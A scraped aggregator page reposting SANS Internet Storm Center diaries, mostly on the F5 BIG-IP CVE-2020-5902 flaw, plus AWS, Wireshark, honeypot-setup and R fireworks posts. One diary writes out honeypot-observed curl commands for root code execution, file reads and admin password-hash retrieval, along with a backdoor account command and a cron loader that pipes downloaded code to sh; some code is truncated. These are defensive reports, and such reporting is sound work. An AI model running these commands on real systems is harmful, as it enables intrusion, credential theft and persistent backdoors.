All posts by David

Summary of CVE-2020-5902 F5 BIG-IP RCE Vulnerability Exploits, (Mon, Jul 6th)

This post was originally published on this site

Our honeypots have been busy collecting exploit attempts for CVE-2020-5902, the F5 Networks Bit IP vulnerability patched last week. Most of the exploits can be considered recognizance. We only saw one working exploit installing a backdoor. Badpackets reported seeing a DDoS bot being installed. 

The simplest way to achieve limited command execution is the use of BigIP command-line interface commands. But the function is a bit limited. However, to achieve full-featured command execution, it is possible to just create an alias that points to “bash”. 

The result is full code execution in three steps (these requests can us POST or GET. I am using GET here to make them easier to display):

1. Create an “alias” to map the “list” command to “bash”

curl ';/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash'


2. Write a file to /tmp with the command to be executed

curl ';/tmui/locallb/workspace/fileSave.jsp?fileName=/tmp/cmd&content=id'

[several empty lines as output]

3. Use the alias to execute the command.

curl ';/tmui/locallb/workspace/tmshCmd.jsp?command=list+/tmp/cmd'

{"error":"","output":"uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0n"}

4. Optionally: remove the alias.



If you do not need code execution, you can also use “Step 2” to write files, or you can just read arbitrary files in one step using:

curl -k ';/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/f5-release'

{"output":"BIG-IP release (Final)n"}

Instead of defining an alias, the technique in step ‘1’ can also be used to execute BigIP CLI command directly, for example, to retrieve password hashes (note this only work if the alias is not defined):

curl ';/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'

{"error":"","output":"auth user admin {n    description "Admin User"n    encrypted-password $6$oeE7u1cp$5cOu9tYnEiXYx/6UuyOTfgJw5nUgXnetzipHdcX7oRc3xwehAFdQGmhzocud3CGH6MYZgqLGb8u6KiITWBsHi/n    partition Commonn    partition-access {n        all-partitions {n            role adminn        }n    }n    shell nonen}n"}

Most of the commands I have seen so far are “id”, “ls” and retrieving files like “/etc/paswd” and the BigIP license file. More interesting commands:

* Adding a backdoor root account:

tmsh create auth user f5admin password getrektdotcom partition-access add { all-partitions { role admin } } shell bash

* Adding a backdoor cron job:


which retrieves:

ulimit -n 65535
rm -f /etc/

LDR=”wget -q -O -“
if [ -s /usr/bin/curl ]; then
if [ -s /usr/bin/wget ]; then
  LDR=”wget -q -O -“

crontab -l | grep -e “” | grep -v grep
if [ $? -eq 0 ]; then
  echo “cron good”
    crontab -l 2>/dev/null
    echo “* * * * * $LDR | sh > /dev/null 2>&1”
  ) | crontab –

this will check the URL once a minute for updates via cron. So far, I have not seen any other scripts return. Interestingly, after sending an abuse complaint to the ISP hosting the script, my home IP can no longer connect to the site.

Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.

New – Create Amazon RDS DB Instances on AWS Outposts

This post was originally published on this site

Late last year I told you about AWS Outposts and invited you to Order Yours Today. As I told you at the time, this is a comprehensive, single-vendor compute and storage offering that is designed to meet the needs of customers who need local processing and very low latency in their data centers and on factory floors. Outposts uses the hardware that we use in AWS public regions

I first told you about Amazon RDS back in 2009. This fully managed service makes it easy for you to launch, operate, and scale a relational database. Over the years we have added support for multiple open source and commercial databases, along with tons of features, all driven by customer requests.

DB Instances on AWS Outposts
Today I am happy to announce that you can now create RDS DB Instances on AWS Outposts. We are launching with support for MySQL and PostgreSQL, with plans to add other database engines in the future (as always, let us know what you need so that we can prioritize it).

You can make use of important RDS features including scheduled backups to Amazon Simple Storage Service (S3), built-in encryption at rest and in transit, and more.

Creating a DB Instance
I can create a DB Instance using the RDS Console, API (CreateDBInstance), CLI (create-db-instance), or CloudFormation (AWS::RDS::DBInstance).

I’ll use the Console, taking care to select the AWS Region that serves as “home base” for my Outpost. I open the Console and click Create database to get started:

I select On-premises for the Database location, and RDS on Outposts for the On-premises database option:

Next, I choose the Virtual Private Cloud (VPC). The VPC must already exist, and it must have a subnet for my Outpost. I also choose the Security Group and the Subnet:

Moving forward, I select the database engine, and version. We’re launching with support for MySQL 8.0.17 and PostgreSQL 12.2-R1, with plans to add more engines and versions based on your feedback:

I give my DB Instance a name (jb-database-2), and enter the credentials for the master user:

Then I choose the size of the instance. I can select between Standard classes (db.m5):

and Memory Optimized classes (db.r5):

Next, I configure the desired amount of SSD storage:

One thing to keep in mind is that each Outpost has a large, but finite amount of compute power and storage. If there’s not enough of either one free when I attempt to create the database, the request will fail.

Within the Additional configuration section I can set up several database options, customize my backups, and set up the maintenance window. Once everything is ready to go, I click Create database:

As usual when I use RDS, the state of my instance starts out as Creating and transitions to Available when my DB Instance is ready:

After the DB instance is ready, I simply configure my code (running in my VPC or in my Outpost) to use the new endpoint:

Things to Know
Here are a couple of things to keep in mind about this new way to use Amazon RDS:

Operations & Functions – Much of what you already know about RDS works as expected and is applicable. You can rename, reboot, stop, start, tag DB instances, and you can make use of point-in-time recovery; you can scale the instance up and down, and automatic minor version upgrades work as expected. You cannot make use of read replicas or create highly available clusters.

Backup & Recover – Automated backups work as expected, and are stored in S3. You can use them to create a fresh DB Instance in the cloud or in any of your Outposts. Manual snapshots also work, and are stored on the Outpost. They can be used to create a fresh DB Instance on the same Outpost.

Encryption – The storage associated with your DB instance is encrypted, as are your DB snapshots, both with KMS keys.

Pricing – RDS on Outposts pricing is based on a management fee that is charged on an hourly basis for each database that is managed. For more information, check out the RDS on Outposts pricing page.

Available Now
You can start creating RDS DB Instances on your Outposts today.



CVE-2020-5902: F5 BIG-IP RCE Vulnerability, (Mon, Jul 6th)

This post was originally published on this site

A remote code execution vulnerability %%cve:2020-5902%% in F5’s BIG-IP with CVSS score 10 is actively exploited.

Vulnerable versions are:

  • 11.6.1-
  • 12.1.0-
  • 13.1.0-
  • 14.1.0-
  • 15.0.0-

A directory traversal in the Traffic Management User Interface (TMUI) allows upload and execution of scripts (as root) by unauthenticated attackers.

F5 has released patched versions:


F5’s KB article K52145254: TMUI RCE vulnerability CVE-2020-5902.

We have observed Internet scans for this vulnerability. Remark that an attack over the Internet requires that F5’s BIG-IP control plane is exposed to the Internet (there are 8400+ F5 systems on the Internet according to Shodan).

Several exploits and a Metasploit module for this vulnerability are public.

There is also a sigma rule and an nmap script (remark: not released by nmap).

We recommend to patch this vulnerability immediately if you expose the TMUI to the Internet, and if you can not do that, remove direct access to the TMUI from the Internet if you expose it.

In any case, go over your logs to identify exploitation attempts (F5 published the KB July 1st, and first exploitation attempts on te Internet were observed starting July 3rd): look for “..;” in the URLs. If you use grep (or another tool with regular expressions) to search through your logs, remember that . matches any character: use a fixed string (option -F in grep).

And let me close with Johannes closing remark on today’s StormCast: “… certainly make sure that the management plane is not exposed to the public Internet, who knows when the next vulnerability in this feature will be found!”

Didier Stevens
Senior handler
Microsoft MVP

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.

CVE-2020-5902 F5 BIG-IP Exploitation Attempt, (Sun, Jul 5th)

This post was originally published on this site

A quick heads-up: we are seeing scans for F5 BIG-IP’s vulnerability %%cve:2020-5902%%.

They look like this (Host header redacted):

GET /tmui/login.jsp/..;/tmui/util/getTabSet.jsp?tabId=jaffa HTTP/1.1
User-Agent: Nuclei – Open-source project (
Accept: */*
Accept-Language: en
Connection: close
Accept-Encoding: gzip

Here is a sigma rule for CVE-2020-5902.

Didier Stevens
Senior handler
Microsoft MVP

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.

Wireshark 3.2.5 Released, (Sun, Jul 5th)

This post was originally published on this site

Wireshark version 3.2.5 was released.

It has a vulnerability fix and bug fixes.

A vulnerability in the GVCP dissector (%%cve:2020-15466%%) can be abused to cause an infinite loop.

Didier Stevens
Senior handler
Microsoft MVP

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.

Happy FouRth of July from the Internet Storm Center, (Sat, Jul 4th)

This post was originally published on this site

For our readers in the United States, the 4th of July is Independence Day. As the 4th, under normal COVID-free circumstances, is typically celebrated with fireworks events, I thought I’d deviate a bit from information security topics and instead share a bit of code to create your own fireworks using R, a language and environment for statistical computing and graphics. My teams and I use R and Python constantly as part of security data analytics, particularly for data science and machine learning to further our detection practices and better identify anomalies of significance. You can follow along at home using RStudio as your IDE, and the latest version of R, 4.0.2 as this is written. All credit is due specifically to Edward Visel of Uptake, this is entirely his code, just modified ever so slightly for our purposes here. Edward was experimenting on his path to the perfect R-generated firework but I like each of them as variants in and of themselves. In the spirit of the old red, white, and blue, I selected three specific patterns, namely his explosion, particles and gnats, and the final firework. This work uses the tidyverse, sf, and gganimate packages, I pulled in magick to manipulate the resulting GIFs a bit. If you just want the TL;DR version, the results of the effort follows immediately, the code is in-line immediately thereafter. Happy 4th of July for those of you who celebrate it, cheers, stay safe and healthy to all!

Russ McRee | @holisticinfosec



theme_set(theme_void() + theme(
  panel.background = element_rect(fill = 'black')

p1 <- map_dfr(1:10, ~crossing(
  x = runif(30),
    y = seq(1, .x, length.out = 10)^0.5,
    t = 1:10)
) %>%
  ggplot(aes(x, y)) +
  geom_point(color = 'red') +
  coord_polar() +
  transition_time(t) +

p1_gif <- animate(p1, renderer = gifski_renderer(), fps = 50,
                  width = 250, height = 250)

#Particles & Gnats
p2 <- map_dfr(1:10, ~tibble(y = seq(1, .x, length.out = 10), t = 1:10)) %>%
  mutate(x = runif(n())) %>%
  ggplot(aes(x, y)) +
  geom_point(color = 'white') +
  coord_polar() +
  transition_time(t) +

p2_gif <- animate(p2, renderer = gifski_renderer(), nframes = 70, fps = 50,
                  width = 250, height = 250)


p3 <- map_dfr(1:10, ~crossing(
  x = {
    x = seq(30) + 0.6*.x;
    ifelse(x > 30, x - 30, x)
    y = seq(1, .x, length.out = 10)^0.5,
    t = 1:10)
) %>%
  ggplot(aes(x, y)) +
  geom_point(color = 'blue') +
  coord_polar() +
  transition_time(t) +

p3_gif <- animate(p3, renderer = gifski_renderer(), fps = 50,
                  width = 250, height = 250)

p1_mgif <- image_read(p1_gif)
p2_mgif <- image_read(p2_gif)
p3_mgif <- image_read(p3_gif)

image_write(p1_mgif, path = "red.gif", format = "gif", quality = 75)
image_write(p2_mgif, path = "white.gif", format = "gif", quality = 75)
image_write(p3_mgif, path = "blue.gif", format = "gif", quality = 75)

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.

Setting up the Dshield honeypot and, (Wed, Jul 1st)

This post was originally published on this site

After Johannes did his Tech Tuesday presentation last week on setting up Dshield honeypots, I thought I’d walk you through how I setup my honeypots. I like to combine the Dshield honeypot with Didier Stevens’ tcp-honeypot so I can capture more suspicious traffic. Today, I’ll walk you through my setup using a VM hosted by Digital Ocean, though the steps would work for pretty much any cloud provider.

I’m using Digital Ocean because you can set up a simple VM that is more than adequate as a honeypot for $5/mo. So, let’s get to it.

First off, I’m going to create a new droplet (you may have to create a new project first). It is pretty straight forward. 

As you can see, that gets you a VM with 1 processor and 1GB of RAM, but that will be plenty. Next, you get to choose which datacenter you want this VM running in. For this exercise, I’m choosing London, but my next one might be Bangalore or Singapore or Toronto (you know how those Canadians are).

There a few more decisions you need to make. I highly recommend that you upload an ssh public key rather than setting a root password, but once you’ve done all that, hit the button to create your VM and wait until it comes back with the public IP of said new VM.

Now, from wherever you intend to administer the VM from, slogin root@<ip of your VM>, and one of the first things I would do (assuming you used a public key) is to modify /etc/ssh/sshd_config and change PermitRootLogin to without-password (don’t get me started on what a poor choice that was for the name for enforcing only key-based logins). From this point on, I’ll mostly follow the instructions found on github for installing the Dshield honeypot on Ubuntu. Note, I can skip the step about installing openssh-server since that is already there by default. Before installing the honeypot, let’s get the system current on patches

# apt update && apt full-upgrade -y && init 6

So, we’re now up-to-date on patches. Personally, there are a few other things that I add now to help me administer the honeypot, like installing aide and apticron. I also tweak the settings for unattended-upgrades, and modify /etc/postfix/ to set the interfaces line to loopback-only, but we have a reasonably minimal system, at this point. Next we’ll get the install script from github (git is also already installed) and actually install the Dshield honeypot.

Then you can run dshield/bin/ to do the actual install. A couple of things to beware of in doing the install. First, make sure you include the IP of the system from which you plan to administer the honeypot in the ‘local’ IPs. Trust me, I’ve locked myself out more than once by forgetting that, so learn from my mistakes. Then, I’m going to set this honeypot for manual update for reasons I’ll explain below. Otherwise, I pretty much just take the defaults and paste in my e-mail and API key from my account page at At this point, you actually should have a working Dshield honeypot, but as I mentioned above, I want to add another honeypot tool.

I’ve become a big fan of Didier Stevens’ (he’s going to rename it when he officially releases it sometime soon-ish, because it can also do UDP), but I’m using the 0.1.0 version from Feb 2020. He appears not to have checked into his github beta repo, so if you want to play with the version I’m using, I guess you could contact me or just wait for Didier’s official release whenever that happens. I’ve actually made 2 minor modifications to the 0.1.0 version, the first is that I make it log to /var/log/tcp-honeypot-3/ and I’ve fixed the logging so that it shows src-dst rather than dst-src. The latter fix Didier has already incorporated, and I expect he’ll have a way of doing the former by the time he releases.

I’ve also created a systemd unit file (no, I don’t want to get into the religious wars about how good or awful systemd is, that’s what all the Linux distros are going with, so that is what I’m using to make sure the tcp-honeypot starts up with the system). Again, I’ve shared it with Didier, but if you want to play with it now, I’ve temporarily put it up on my own github (though I will probably remove it if Didier includes it with his release), you can find it here.

So, now I have both the Dshield honeypot on tcp-honeypot on the system, but the tcp-honeypot isn’t actually capturing anything. The problem is, the Dshield honeypot is controlling the iptables rules. So, we’ll need to modify those rules to allow traffic through to the tcp-honeypot. The reason I set the Dshield honeypot to manual updates is that any update to the Dshield honeypot, would wipe out these updates to the iptables rules. Johannes is working on an update to allow the “local” iptables rules to persist, so at some point, I’ll be able to run auto update back on. He’s also working on handling IPv6, too (which the current version of the honeypot disables completely on your VM). No pressure, Johannes, now that others know you are working on it there’s no pressure to get it done soon. πŸ™‚

With the systemd unit file properly placed into /etc/systemd/system/, I can run 

# systemctl enable tcp-honeypot && systemctl start tcp-honeypot 

Now, let’s see what all is listening on my honeypot, I’ll quickly run lsof -Pni and I get the following

So, those python3 lines are the tcp-honeypot, the ones running as the cowrie user are the standard Dshield honeypot processes. I need to update the iptables rules to allow traffic through to the tcp-honeypot. I could do this in a couple of ways, but ultimately, we need to remember that the rules that the Dshield honeypot installed are located in /etc/network/iptables. So, we could modify that file, and then run iptables-restore < /etc/network/iptables. I actually chose to first run iptables-save > /etc/network/iptables, just to make sure that there was no difference between that file and what was live on the system. Then I added the 2 rules in the green box below to allow traffic through to the ports that tcp-honeypot is listening on and then ran the iptables-restore < /etc/network/iptables mentioned above. This way, I was reasonably certain I wouldn’t lock myself out in the process.

And there you have it. My honeypot is now more flexible with both the standard Dshield honeypot and Didier’s tcp-honeypot. Now if I see strange spikes in traffic to unknown ports, I can have tcp-honeypot listen on that port, update the appropriate rule above (for TCP or UDP) do the iptables-restore and I’ll have a log where I can look at that traffic and hopefully figure out what the attackers are looking for.

I hope you found this useful, if you have questions or suggestions, feel free to comment here or e-mail me.

Jim Clausing, GIAC GSE #26
jclausing –at– isc [dot] sans (dot) edu

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.

Realize the AI / ML Fundamentals of the Self-Driving Datacenter with vRealize AI

This post was originally published on this site

You’ve heard it over and over; data is the (digital) gold in today’s world.  The more data you have, the more opportunity it brings to anyone or anything that knows how to properly mine and use it.  It’s being consumed and translated by the millions every single second – learning your shopping and browsing habits

The post Realize the AI / ML Fundamentals of the Self-Driving Datacenter with vRealize AI appeared first on VMware Cloud Management.